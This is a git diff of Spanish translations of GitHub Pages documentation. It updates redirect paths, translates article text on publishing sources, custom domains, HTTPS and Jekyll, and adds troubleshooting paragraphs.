index c51ebbe4fe..df8f8b376f 100644
--- a/translations/es-ES/content/pages/configuring-a-custom-domain-for-your-github-pages-site/index.md
+++ b/translations/es-ES/content/pages/configuring-a-custom-domain-for-your-github-pages-site/index.md
@@ -2,13 +2,13 @@
 title: Configuring a custom domain for your GitHub Pages site
 intro: 'You can customize the domain name of your {% data variables.product.prodname_pages %} site.'
 redirect_from:
-  - /articles/tips-for-configuring-an-a-record-with-your-dns-provider/
-  - /articles/adding-or-removing-a-custom-domain-for-your-github-pages-site/
-  - /articles/configuring-an-a-record-with-your-dns-provider/
-  - /articles/using-a-custom-domain-with-github-pages/
-  - /articles/tips-for-configuring-a-cname-record/
-  - /articles/setting-up-a-custom-domain-with-pages/
-  - /articles/setting-up-a-custom-domain-with-github-pages/
+  - /articles/tips-for-configuring-an-a-record-with-your-dns-provider
+  - /articles/adding-or-removing-a-custom-domain-for-your-github-pages-site
+  - /articles/configuring-an-a-record-with-your-dns-provider
+  - /articles/using-a-custom-domain-with-github-pages
+  - /articles/tips-for-configuring-a-cname-record
+  - /articles/setting-up-a-custom-domain-with-pages
+  - /articles/setting-up-a-custom-domain-with-github-pages
   - /articles/configuring-a-custom-domain-for-your-github-pages-site
   - /github/working-with-github-pages/configuring-a-custom-domain-for-your-github-pages-site
 product: '{% data reusables.gated-features.pages %}'
@@ -24,4 +24,3 @@ children:
   - /troubleshooting-custom-domains-and-github-pages
 shortTitle: Configure a custom domain
 ---
-
diff --git a/translations/es-ES/content/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site.md b/translations/es-ES/content/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site.md
index e656dccca5..025d260cef 100644
--- a/translations/es-ES/content/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site.md
+++ b/translations/es-ES/content/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site.md
@@ -2,13 +2,13 @@
 title: Managing a custom domain for your GitHub Pages site
 intro: 'You can set up or update certain DNS records and your repository settings to point the default domain for your {% data variables.product.prodname_pages %} site to a custom domain.'
 redirect_from:
-  - /articles/quick-start-setting-up-a-custom-domain/
-  - /articles/setting-up-an-apex-domain/
-  - /articles/setting-up-a-www-subdomain/
-  - /articles/setting-up-a-custom-domain/
-  - /articles/setting-up-an-apex-domain-and-www-subdomain/
-  - /articles/adding-a-cname-file-to-your-repository/
-  - /articles/setting-up-your-pages-site-repository/
+  - /articles/quick-start-setting-up-a-custom-domain
+  - /articles/setting-up-an-apex-domain
+  - /articles/setting-up-a-www-subdomain
+  - /articles/setting-up-a-custom-domain
+  - /articles/setting-up-an-apex-domain-and-www-subdomain
+  - /articles/adding-a-cname-file-to-your-repository
+  - /articles/setting-up-your-pages-site-repository
   - /articles/managing-a-custom-domain-for-your-github-pages-site
   - /github/working-with-github-pages/managing-a-custom-domain-for-your-github-pages-site
 product: '{% data reusables.gated-features.pages %}'
@@ -139,7 +139,7 @@ After you configure the apex domain, you must configure a CNAME record with your
 
 ## Securing your custom domain
 
-{% data reusables.pages.secure-your-domain %} For more information, see "[Verifying your custom domain for {% data variables.product.prodname_pages %}](/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages)."  
+{% data reusables.pages.secure-your-domain %} For more information, see "[Verifying your custom domain for {% data variables.product.prodname_pages %}](/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages)."
 
 ## Further reading
 
diff --git a/translations/es-ES/content/pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages.md b/translations/es-ES/content/pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages.md
index ef31967c41..892a5af812 100644
--- a/translations/es-ES/content/pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages.md
+++ b/translations/es-ES/content/pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages.md
@@ -2,9 +2,9 @@
 title: Troubleshooting custom domains and GitHub Pages
 intro: 'You can check for common errors to resolve issues with custom domains or HTTPS for your {% data variables.product.prodname_pages %} site.'
 redirect_from:
-  - /articles/my-custom-domain-isn-t-working/
-  - /articles/custom-domain-isn-t-working/
-  - /articles/troubleshooting-custom-domains/
+  - /articles/my-custom-domain-isn-t-working
+  - /articles/custom-domain-isn-t-working
+  - /articles/troubleshooting-custom-domains
   - /articles/troubleshooting-custom-domains-and-github-pages
   - /github/working-with-github-pages/troubleshooting-custom-domains-and-github-pages
 product: '{% data reusables.gated-features.pages %}'
diff --git a/translations/es-ES/content/pages/getting-started-with-github-pages/about-github-pages.md b/translations/es-ES/content/pages/getting-started-with-github-pages/about-github-pages.md
index dd40cb5a26..80fb7f8cb7 100644
--- a/translations/es-ES/content/pages/getting-started-with-github-pages/about-github-pages.md
+++ b/translations/es-ES/content/pages/getting-started-with-github-pages/about-github-pages.md
@@ -2,12 +2,12 @@
 title: About GitHub Pages
 intro: 'You can use {% data variables.product.prodname_pages %} to host a website about yourself, your organization, or your project directly from a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.'
 redirect_from:
-  - /articles/what-are-github-pages/
-  - /articles/what-is-github-pages/
-  - /articles/user-organization-and-project-pages/
-  - /articles/using-a-static-site-generator-other-than-jekyll/
-  - /articles/mime-types-on-github-pages/
-  - /articles/should-i-rename-usernamegithubcom-repositories-to-usernamegithubio/
+  - /articles/what-are-github-pages
+  - /articles/what-is-github-pages
+  - /articles/user-organization-and-project-pages
+  - /articles/using-a-static-site-generator-other-than-jekyll
+  - /articles/mime-types-on-github-pages
+  - /articles/should-i-rename-usernamegithubcom-repositories-to-usernamegithubio
   - /articles/about-github-pages
   - /github/working-with-github-pages/about-github-pages
 product: '{% data reusables.gated-features.pages %}'
diff --git a/translations/es-ES/content/pages/getting-started-with-github-pages/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser.md b/translations/es-ES/content/pages/getting-started-with-github-pages/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser.md
index 311190850d..787ce8e0a1 100644
--- a/translations/es-ES/content/pages/getting-started-with-github-pages/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser.md
+++ b/translations/es-ES/content/pages/getting-started-with-github-pages/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser.md
@@ -2,8 +2,8 @@
 title: Agregar un tema a tu sitio de Páginas de GitHub con el selector de tema
 intro: 'Puedes añadir un tema a tu sitio de {% data variables.product.prodname_pages %} para personalizar la apariencia de tu sitio.'
 redirect_from:
-  - /articles/creating-a-github-pages-site-with-the-jekyll-theme-chooser/
-  - /articles/adding-a-jekyll-theme-to-your-github-pages-site-with-the-jekyll-theme-chooser/
+  - /articles/creating-a-github-pages-site-with-the-jekyll-theme-chooser
+  - /articles/adding-a-jekyll-theme-to-your-github-pages-site-with-the-jekyll-theme-chooser
   - /articles/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser
   - /github/working-with-github-pages/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser
 product: '{% data reusables.gated-features.pages %}'
diff --git a/translations/es-ES/content/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site.md b/translations/es-ES/content/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site.md
index 3ada8ce82d..0d3d2be7c5 100644
--- a/translations/es-ES/content/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site.md
+++ b/translations/es-ES/content/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site.md
@@ -1,8 +1,8 @@
 ---
-title: Configuring a publishing source for your GitHub Pages site
-intro: 'If you use the default publishing source for your {% data variables.product.prodname_pages %} site, your site will publish automatically. You can also choose to publish your site from a different branch or folder.'
+title: Configurar una fuente de publicación para tu sitio de Páginas de GitHub
+intro: 'Si usas la fuente de publicación predeterminada para tu sitio de {% data variables.product.prodname_pages %}, tu sitio se publicará automáticamente. También puedes elegir publicar tu sitio desde una rama o carpeta diferente.'
 redirect_from:
-  - /articles/configuring-a-publishing-source-for-github-pages/
+  - /articles/configuring-a-publishing-source-for-github-pages
   - /articles/configuring-a-publishing-source-for-your-github-pages-site
   - /github/working-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site
 product: '{% data reusables.gated-features.pages %}'
@@ -14,27 +14,38 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Configure publishing source
+shortTitle: Configurar la fuenta de publicción
 ---
 
-For more information about publishing sources, see "[About {% data variables.product.prodname_pages %}](/articles/about-github-pages#publishing-sources-for-github-pages-sites)."
+Para obtener más información acerca de las fuentes de publicación, consulta "[Acerca de las {% data variables.product.prodname_pages %}](/articles/about-github-pages#publishing-sources-for-github-pages-sites)".
 
-## Choosing a publishing source
+## Elegir una fuente de publicación
 
-Before you configure a publishing source, make sure the branch you want to use as your publishing source already exists in your repository.
+Antes de configurar una fuente de publicación, asegúrate de que la rama que quieres utilizar como fuente de publicación ya exista en tu repositorio.
 
 {% data reusables.pages.navigate-site-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.pages.sidebar-pages %}
-3. Under "{% data variables.product.prodname_pages %}", use the **None** or **Branch** drop-down menu and select a publishing source.
-  ![Drop-down menu to select a publishing source](/assets/images/help/pages/publishing-source-drop-down.png)
-4. Optionally, use the drop-down menu to select a folder for your publishing source.
-  ![Drop-down menu to select a folder for publishing source](/assets/images/help/pages/publishing-source-folder-drop-down.png)
-5. Click **Save**.
-  ![Button to save changes to publishing source settings](/assets/images/help/pages/publishing-source-save.png)
+3. Debajo de "{% data variables.product.prodname_pages %}", utiliza el menú desplegable de **Ninguno** o de **Rama** y selecciona una fuente de publicación. ![Menú desplegable para seleccionar una fuente de publicación](/assets/images/help/pages/publishing-source-drop-down.png)
+4. Opcionalmente, utiliza el menú desplegable para seleccionar una carpeta para tu fuente de publicación. ![Menú desplegable para seleccionar una carpeta para una fuente de publicación](/assets/images/help/pages/publishing-source-folder-drop-down.png)
+5. Haz clic en **Save ** (guardar). ![Botón para guardar los cambios en la configuración de la fuente de publicación](/assets/images/help/pages/publishing-source-save.png)
 
-## Troubleshooting publishing problems with your {% data variables.product.prodname_pages %} site
+## Solución de problemas de publicación con tu sitio de {% data variables.product.prodname_pages %}
 
 {% data reusables.pages.admin-must-push %}
 
-If you choose the `docs` folder on any branch as your publishing source, then later remove the `/docs` folder from that branch in your repository, your site won't build and you'll get a page build error message for a missing `/docs` folder. For more information, see "[Troubleshooting Jekyll build errors for {% data variables.product.prodname_pages %} sites](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites#missing-docs-folder)."
+Si eliges la carpeta de `docs` en cualquier rama como tu fuente de publicación y luego eliminas la carpeta de `/docs` de esta rama en tu repositorio posteriormente, tu sitio no se creará y obtendrás un mensaje de error de creación de página debido a una carpeta `/docs` faltante. Para obtener más información, consulta "[Solución de problemas de errores de compilación de Jekyll para los sitios de {% data variables.product.prodname_pages %}](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites#missing-docs-folder)".
+
+{% ifversion fpt %}
+
+Tu sitio de {% data variables.product.prodname_pages %} siempre se desplegará con una ejecución de flujo de trabajo de {% data variables.product.prodname_actions %}, incluso si configuraste tu sitio de {% data variables.product.prodname_pages %} para que compilara utilizando una herramienta de IC distinta. La mayoría de los flujos de trabajo de IC externos se "despliegan" en las GitHub Pages cuando confirmas la salida de compilación en la rama de `gh-pages` del repositorio y, habitualmente, incluyen un archivo de `.nojekyll`. Cuando esto sucede, el flujo de trabajo de las {% data variables.product.prodname_actions %} detectará el estado en el que la rama no necesita un paso de compilación y ejecutará solo los pasos necesarios para desplegar el sitio hacia los servidores de {% data variables.product.prodname_pages %}.
+
+Para encontrar errores potenciales en ya sea la compilación o el despliegue, puedes verificar la ejecución de flujo de trabajo para tu sitio de {% data variables.product.prodname_pages %} si revisas las ejecuciones de flujo de trabajo del repositorio. Para obtener más información, consulta la sección "[Visualizar el historial de ejecuciones de un flujo de trabajo](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history)".  Para obtener más información sobre cómo volver a ejecutar el flujo de trabajo en caso de encontrar une error, consulta la sección "[Volver a ejecutar flujos de trabajo y jobs](/actions/managing-workflow-runs/re-running-workflows-and-jobs)".
+
+{% note %}
+
+{% data reusables.pages.pages-builds-with-github-actions-public-beta %}
+
+{% endnote %}
+
+{% endif %}
diff --git a/translations/es-ES/content/pages/getting-started-with-github-pages/creating-a-custom-404-page-for-your-github-pages-site.md b/translations/es-ES/content/pages/getting-started-with-github-pages/creating-a-custom-404-page-for-your-github-pages-site.md
index 864887aa34..f103fc8ae2 100644
--- a/translations/es-ES/content/pages/getting-started-with-github-pages/creating-a-custom-404-page-for-your-github-pages-site.md
+++ b/translations/es-ES/content/pages/getting-started-with-github-pages/creating-a-custom-404-page-for-your-github-pages-site.md
@@ -2,7 +2,7 @@
 title: Crear una página 404 personalizada para tu sitio de Páginas de GitHub
 intro: Puedes mostrar una página personalizada de error 404 cuando se intente acceder a páginas que no existen en tu sitio.
 redirect_from:
-  - /articles/custom-404-pages/
+  - /articles/custom-404-pages
   - /articles/creating-a-custom-404-page-for-your-github-pages-site
   - /github/working-with-github-pages/creating-a-custom-404-page-for-your-github-pages-site
 product: '{% data reusables.gated-features.pages %}'
diff --git a/translations/es-ES/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md b/translations/es-ES/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md
index 8e9752d823..1f610c55e4 100644
--- a/translations/es-ES/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md
+++ b/translations/es-ES/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md
@@ -1,11 +1,11 @@
 ---
-title: Creating a GitHub Pages site
-intro: 'You can create a {% data variables.product.prodname_pages %} site in a new or existing repository.'
+title: Crear un sitio de Páginas de GitHub
+intro: 'Puede crear un sitio de {% data variables.product.prodname_pages %} en un repositorio nuevo o existente.'
 redirect_from:
-  - /articles/creating-pages-manually/
-  - /articles/creating-project-pages-manually/
-  - /articles/creating-project-pages-from-the-command-line/
-  - /articles/creating-project-pages-using-the-command-line/
+  - /articles/creating-pages-manually
+  - /articles/creating-project-pages-manually
+  - /articles/creating-project-pages-from-the-command-line
+  - /articles/creating-project-pages-using-the-command-line
   - /articles/creating-a-github-pages-site
   - /github/working-with-github-pages/creating-a-github-pages-site
 product: '{% data reusables.gated-features.pages %}'
@@ -16,12 +16,12 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Create a GitHub Pages site
+shortTitle: Crear un sitio de GitHub Pages
 ---
 
 {% data reusables.pages.org-owners-can-restrict-pages-creation %}
 
-## Creating a repository for your site
+## Crear un repositorio para tu sitio
 
 {% data reusables.pages.new-or-existing-repo %}
 
@@ -32,7 +32,7 @@ shortTitle: Create a GitHub Pages site
 {% data reusables.repositories.initialize-with-readme %}
 {% data reusables.repositories.create-repo %}
 
-## Creating your site
+## Crear tu sitio
 
 {% data reusables.pages.must-have-repo-first %}
 
@@ -40,12 +40,12 @@ shortTitle: Create a GitHub Pages site
 
 {% data reusables.pages.navigate-site-repo %}
 {% data reusables.pages.decide-publishing-source %}
-3. If your chosen publishing source already exists, navigate to the publishing source. If your chosen publishing source doesn't exist, create the publishing source.
-4. In the root of the publishing source, create a new file called `index.md` that contains the content you want to display on the main page of your site.
+3. Si ya existe la fuente de publicación que elegiste, desplázate hasta la fuente de publicación. Si la fuente de publicación que elegiste no existe, crear la fuente de publicación.
+4. En la raíz de la fuente de publicación, crea un archivo nuevo denominado `index.md` que contenga el contenido que quieras mostrar en la página principal de tu sitio.
 
   {% tip %}
 
-  **Tip:** If `index.html` is present, this will be used instead of `index.md`. If neither `index.html` nor `index.md` are present, `README.md` will be used.
+  **Tip:** Si el archivo `index.html` está presente, este se utilizará en vez de `index.md`. Si ni `index.html` ni `index.md` están presentes, se utilizará `README.md`.
 
   {% endtip %}
 {% data reusables.pages.configure-publishing-source %}
@@ -53,19 +53,20 @@ shortTitle: Create a GitHub Pages site
 {% data reusables.pages.sidebar-pages %}{% ifversion fpt or ghec %}
 {% data reusables.pages.choose-visibility %}{% endif %}
 {% data reusables.pages.visit-site %}
+{% data reusables.pages.check-workflow-run %}
 
 {% data reusables.pages.admin-must-push %}
 
-## Next steps
+## Pasos siguientes
 
-You can add more pages to your site by creating more new files. Each file will be available on your site in the same directory structure as your publishing source. For example, if the publishing source for your project site is the `gh-pages` branch, and you create a new file called `/about/contact-us.md` on the `gh-pages` branch, the file will be available at {% ifversion fpt or ghec %}`https://<user>.github.io/<repository>/{% else %}`http(s)://<hostname>/pages/<username>/<repository>/{% endif %}about/contact-us.html`.
+Puedes agregar más páginas a tu sitio creando más archivos nuevos. Cada archivo estará disponible en tu sitio en la misma estructura de directorios que tu fuente de publicación. Por ejemplo, si la fuente de publicación para tu sitio de proyectos es la rama `gh-pages`, y creas un archivo nuevo denominado `/about/contact-us.md` en la rama `gh-pages`, el archivo estará disponible en {% ifversion fpt or ghec %}`https://<user>.github.io/<repository>/{% else %}`http(s)://<hostname>/pages/<username>/<repository>/{% endif %}about/contact-us.html`.
 
-You can also add a theme to customize your site’s look and feel. For more information, see {% ifversion fpt or ghec %}"[Adding a theme to your {% data variables.product.prodname_pages %} site with the theme chooser](/articles/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser){% else %}"[Adding a theme to your {% data variables.product.prodname_pages %} site using Jekyll](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll){% endif %}."
+También puedes agregar un tema para personalizar la apariencia de tu sitio. Para obtener más información, consulta {% ifversion fpt or ghec %}"[Agregar un tema a tu sitio de {% data variables.product.prodname_pages %} con el selector de temas](/articles/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser){% else %}"[Agregar un tema a tu sitio de {% data variables.product.prodname_pages %} con Jekyll](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll){% endif %}".
 
-To customize your site even more, you can use Jekyll, a static site generator with built-in support for {% data variables.product.prodname_pages %}. For more information, see "[About {% data variables.product.prodname_pages %} and Jekyll](/articles/about-github-pages-and-jekyll)."
+Para personalizar aún más tu sitio, puedes usar Jekyll, un generador de sitio estático con soporte integrado para {% data variables.product.prodname_pages %}. Para obtener más información, consulta la sección "[Acerca de {% data variables.product.prodname_pages %} y de Jekyll](/articles/about-github-pages-and-jekyll)".
 
-## Further reading
+## Leer más
 
-- "[Troubleshooting Jekyll build errors for {% data variables.product.prodname_pages %} sites](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites)"
-- "[Creating and deleting branches within your repository](/articles/creating-and-deleting-branches-within-your-repository)"
-- "[Creating new files](/articles/creating-new-files)"
+- "[Solucionar problemas de errores de construcción de Jekyll para sitios de {% data variables.product.prodname_pages %}](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites)"
+- "[Crear y eliminar ramas dentro de tu repositorio](/articles/creating-and-deleting-branches-within-your-repository/)"
+- "[Crear archivos nuevos](/articles/creating-new-files)"
diff --git a/translations/es-ES/content/pages/getting-started-with-github-pages/index.md b/translations/es-ES/content/pages/getting-started-with-github-pages/index.md
index 2ee4dc1f14..e2f19aaac2 100644
--- a/translations/es-ES/content/pages/getting-started-with-github-pages/index.md
+++ b/translations/es-ES/content/pages/getting-started-with-github-pages/index.md
@@ -3,7 +3,7 @@ title: Comenzar con Páginas de GitHub
 intro: 'Puedes configurar un sitio básico de {% data variables.product.prodname_pages %} para ti, para tu organización o para tu proyecto.'
 redirect_from:
   - /categories/github-pages-basics
-  - /articles/additional-customizations-for-github-pages/
+  - /articles/additional-customizations-for-github-pages
   - /articles/getting-started-with-github-pages
   - /github/working-with-github-pages/getting-started-with-github-pages
 product: '{% data reusables.gated-features.pages %}'
diff --git a/translations/es-ES/content/pages/getting-started-with-github-pages/securing-your-github-pages-site-with-https.md b/translations/es-ES/content/pages/getting-started-with-github-pages/securing-your-github-pages-site-with-https.md
index aed802a177..c9bb3665df 100644
--- a/translations/es-ES/content/pages/getting-started-with-github-pages/securing-your-github-pages-site-with-https.md
+++ b/translations/es-ES/content/pages/getting-started-with-github-pages/securing-your-github-pages-site-with-https.md
@@ -36,6 +36,12 @@ Todos los sitios {% data variables.product.prodname_pages %}, incluidos los siti
 {% data reusables.pages.sidebar-pages %}
 3. Debajo de "{% data variables.product.prodname_pages %}", selecciona **Enforce HTTPS** (Aplicar HTTPS). ![Aplicar casilla de verificación de HTTPS](/assets/images/help/pages/enforce-https-checkbox.png)
 
+## Solución de problemas para el aprovisionamiento de certificados (error de tipo "Certificate not yet created")
+
+Cuando configuras o cambios tu dominio personalizado en los ajustes de las Páginas, comenzará una verificación automática de DNS. Esta verificación determina si tus ajustes de DNS se configuran para permitir que {% data variables.product.prodname_dotcom %} obtenga un certificado automáticamente. Si la verificación tiene éxito, {% data variables.product.prodname_dotcom %} pondrá en cola un job para solicitar un certificado TLS desde [Let's Encrypt](https://letsencrypt.org/). Cuando recibas un certificado válido, {% data variables.product.prodname_dotcom %} lo carga automáticamente a los servidores que manejan la terminación de TLS para las Páginas. Cuando este proceso se complete con éxito, se mostrará una marca de verificación al costado de tu nombre de dominio personalizado.
+
+El proceso podría tomar algo de tiempo. Si el proceso no se completa varios minutos después de que hiciste clic en **Guardar**, inténtalo haciendo clic en **Eliminar** junto a tu nombre de dominio personalizado. Vuelve a teclear el nombre de dominio y haz clic nuevamente en **Guardar**. Esto cancelará y volverá a iniciar el proceso de aprovisionamiento.
+
 ## Resolver problemas con contenido mixto
 
 Si habilitas HTTPS para tu sitio de {% data variables.product.prodname_pages %}, pero el HTML de tu sitio sigue referenciando imágenes, CSS o JavaScript a través de HTTP, significa que tu sitio está ofreciendo *contenido mixto*. Ofrecer contenido mixto puede hacer que tu sitio sea menos seguro y generar problemas al cargar activos.
diff --git a/translations/es-ES/content/pages/getting-started-with-github-pages/unpublishing-a-github-pages-site.md b/translations/es-ES/content/pages/getting-started-with-github-pages/unpublishing-a-github-pages-site.md
index da3ac1ff7d..6055d21fcd 100644
--- a/translations/es-ES/content/pages/getting-started-with-github-pages/unpublishing-a-github-pages-site.md
+++ b/translations/es-ES/content/pages/getting-started-with-github-pages/unpublishing-a-github-pages-site.md
@@ -2,10 +2,10 @@
 title: Anular la publicación de un sitio de Páginas de GitHub
 intro: 'Puedes publicar tu sitio de {% data variables.product.prodname_pages %} para que éste deje de estar disponible.'
 redirect_from:
-  - /articles/how-do-i-unpublish-a-project-page/
-  - /articles/unpublishing-a-project-page/
-  - /articles/unpublishing-a-project-pages-site/
-  - /articles/unpublishing-a-user-pages-site/
+  - /articles/how-do-i-unpublish-a-project-page
+  - /articles/unpublishing-a-project-page
+  - /articles/unpublishing-a-project-pages-site
+  - /articles/unpublishing-a-user-pages-site
   - /articles/unpublishing-a-github-pages-site
   - /github/working-with-github-pages/unpublishing-a-github-pages-site
 product: '{% data reusables.gated-features.pages %}'
diff --git a/translations/es-ES/content/pages/getting-started-with-github-pages/using-submodules-with-github-pages.md b/translations/es-ES/content/pages/getting-started-with-github-pages/using-submodules-with-github-pages.md
index 22f4e21b47..6f97fc4dc0 100644
--- a/translations/es-ES/content/pages/getting-started-with-github-pages/using-submodules-with-github-pages.md
+++ b/translations/es-ES/content/pages/getting-started-with-github-pages/using-submodules-with-github-pages.md
@@ -2,7 +2,7 @@
 title: Usar submódulos con las Páginas de GitHub
 intro: 'Puedes usar submódulos con las {% data variables.product.prodname_pages %} para incluir otros proyectos en el código de tu sitio.'
 redirect_from:
-  - /articles/using-submodules-with-pages/
+  - /articles/using-submodules-with-pages
   - /articles/using-submodules-with-github-pages
   - /github/working-with-github-pages/using-submodules-with-github-pages
 product: '{% data reusables.gated-features.pages %}'
diff --git a/translations/es-ES/content/pages/index.md b/translations/es-ES/content/pages/index.md
index a07911e622..69e8cdb61b 100644
--- a/translations/es-ES/content/pages/index.md
+++ b/translations/es-ES/content/pages/index.md
@@ -1,14 +1,13 @@
 ---
-title: GitHub Pages Documentation
-shortTitle: GitHub Pages
-intro: 'You can create a website directly from a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.'
+title: Documentación de GitHub Pages
+shortTitle: Páginas de GitHub
+intro: 'Puedes crear un sitio web directamente desde un repositorio en {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.'
 redirect_from:
-  - /categories/20/articles/
-  - /categories/95/articles/
-  - /categories/github-pages-features/
-  - /pages/
-  - /categories/96/articles/
-  - /categories/github-pages-troubleshooting/
+  - /categories/20/articles
+  - /categories/95/articles
+  - /categories/github-pages-features
+  - /categories/96/articles
+  - /categories/github-pages-troubleshooting
   - /categories/working-with-github-pages
   - /github/working-with-github-pages
 product: '{% data reusables.gated-features.pages %}'
diff --git a/translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll.md b/translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll.md
index 4cef579a69..43b68de466 100644
--- a/translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll.md
+++ b/translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll.md
@@ -1,21 +1,21 @@
 ---
-title: About GitHub Pages and Jekyll
-intro: 'Jekyll is a static site generator with built-in support for {% data variables.product.prodname_pages %}.'
+title: Acerca de las Páginas de GitHub y Jekyll
+intro: 'Jekyll es un generador de sitios estáticos con soporte integrado para {% data variables.product.prodname_pages %}.'
 redirect_from:
   - /articles/about-jekyll-themes-on-github
   - /articles/configuring-jekyll
   - /articles/configuring-jekyll-plugins
   - /articles/using-syntax-highlighting-on-github-pages
   - /articles/files-that-start-with-an-underscore-are-missing
-  - /articles/sitemaps-for-github-pages/
-  - /articles/search-engine-optimization-for-github-pages/
-  - /articles/repository-metadata-on-github-pages/
-  - /articles/atom-rss-feeds-for-github-pages/
-  - /articles/redirects-on-github-pages/
-  - /articles/emoji-on-github-pages/
-  - /articles/mentions-on-github-pages/
-  - /articles/using-jekyll-plugins-with-github-pages/
-  - /articles/adding-jekyll-plugins-to-a-github-pages-site/
+  - /articles/sitemaps-for-github-pages
+  - /articles/search-engine-optimization-for-github-pages
+  - /articles/repository-metadata-on-github-pages
+  - /articles/atom-rss-feeds-for-github-pages
+  - /articles/redirects-on-github-pages
+  - /articles/emoji-on-github-pages
+  - /articles/mentions-on-github-pages
+  - /articles/using-jekyll-plugins-with-github-pages
+  - /articles/adding-jekyll-plugins-to-a-github-pages-site
   - /articles/about-github-pages-and-jekyll
   - /github/working-with-github-pages/about-github-pages-and-jekyll
 product: '{% data reusables.gated-features.pages %}'
@@ -26,22 +26,22 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: GitHub Pages & Jekyll
+shortTitle: GitHub pages & Jekyll
 ---
 
-## About Jekyll
+## Acerca de Jekyll
 
-Jekyll is a static site generator with built-in support for {% data variables.product.prodname_pages %} and a simplified build process. Jekyll takes Markdown and HTML files and creates a complete static website based on your choice of layouts. Jekyll supports Markdown and Liquid, a templating language that loads dynamic content on your site. For more information, see [Jekyll](https://jekyllrb.com/).
+Jekill es un generador de sitio estático con soporte incorporado para {% data variables.product.prodname_pages %} y un proceso de construcción simplificado. Jekyll toma los archivos Markdown y HTML y crea un sitio web estático completo en función de la opción de diseño. Jekyll soporta Markdown y Liquid, un lenguaje de plantillas que carga contenido dinámico en tu sitio. Para obtener más información, consulta [Jekyll](https://jekyllrb.com/).
 
-Jekyll is not officially supported for Windows. For more information, see "[Jekyll on Windows](http://jekyllrb.com/docs/windows/#installation)" in the Jekyll documentation.
+Jekyll no está oficialmente admitido por Windows. Para obtener más información, consulta "[Jekyll en Windows](http://jekyllrb.com/docs/windows/#installation)" en la documentación de Jekyll.
 
-We recommend using Jekyll with {% data variables.product.prodname_pages %}. If you prefer, you can use other static site generators or customize your own build process locally or on another server. For more information, see "[About {% data variables.product.prodname_pages %}](/articles/about-github-pages#static-site-generators)."
+Recomandamos usar Jekyll con {% data variables.product.prodname_pages %}. Si lo prefieres, puedes usar otros generadores de sitio estático o personalizar tu propio proceso de compilación localmente o en otro servidor. Para obtener más información, consulta la sección "[Acerca de{% data variables.product.prodname_pages %}](/articles/about-github-pages#static-site-generators)".
 
-## Configuring Jekyll in your {% data variables.product.prodname_pages %} site
+## Configurando Jekyll en tu sitio {% data variables.product.prodname_pages %}
 
-You can configure most Jekyll settings, such as your site's theme and plugins, by editing your *_config.yml* file. For more information, see "[Configuration](https://jekyllrb.com/docs/configuration/)" in the Jekyll documentation.
+Puedes configurar la mayoría de los parámetros de Jekyll, como los temas y los plugins del sitio, al editar tu archivo *_config.yml*. Para obtener más información, consulte "[Configuración](https://jekyllrb.com/docs/configuration/)" en la documentación de Jekyll.
 
-Some configuration settings cannot be changed for {% data variables.product.prodname_pages %} sites.
+Algunos parámetros de configuración no pueden cambiarse para los sitios {% data variables.product.prodname_pages %} sites.
 
 ```yaml
 lsi: false
@@ -56,36 +56,36 @@ kramdown:
   syntax_highlighter: rouge
 ```
 
-By default, Jekyll doesn't build files or folders that:
-- are located in a folder called `/node_modules` or `/vendor`
-- start with `_`, `.`, or `#`
-- end with `~`
-- are excluded by the `exclude` setting in your configuration file
+De manera predeterminada, Jekyll no compila archivos o carpetas que:
+- están situados en una carpeta denominada `/node_modules` o `/vendor`
+- comienza con `_`, `.`, o `#`
+- termina con `~`
+- están excluidos por el parámetro `exclude` en tu archivo de configuración
 
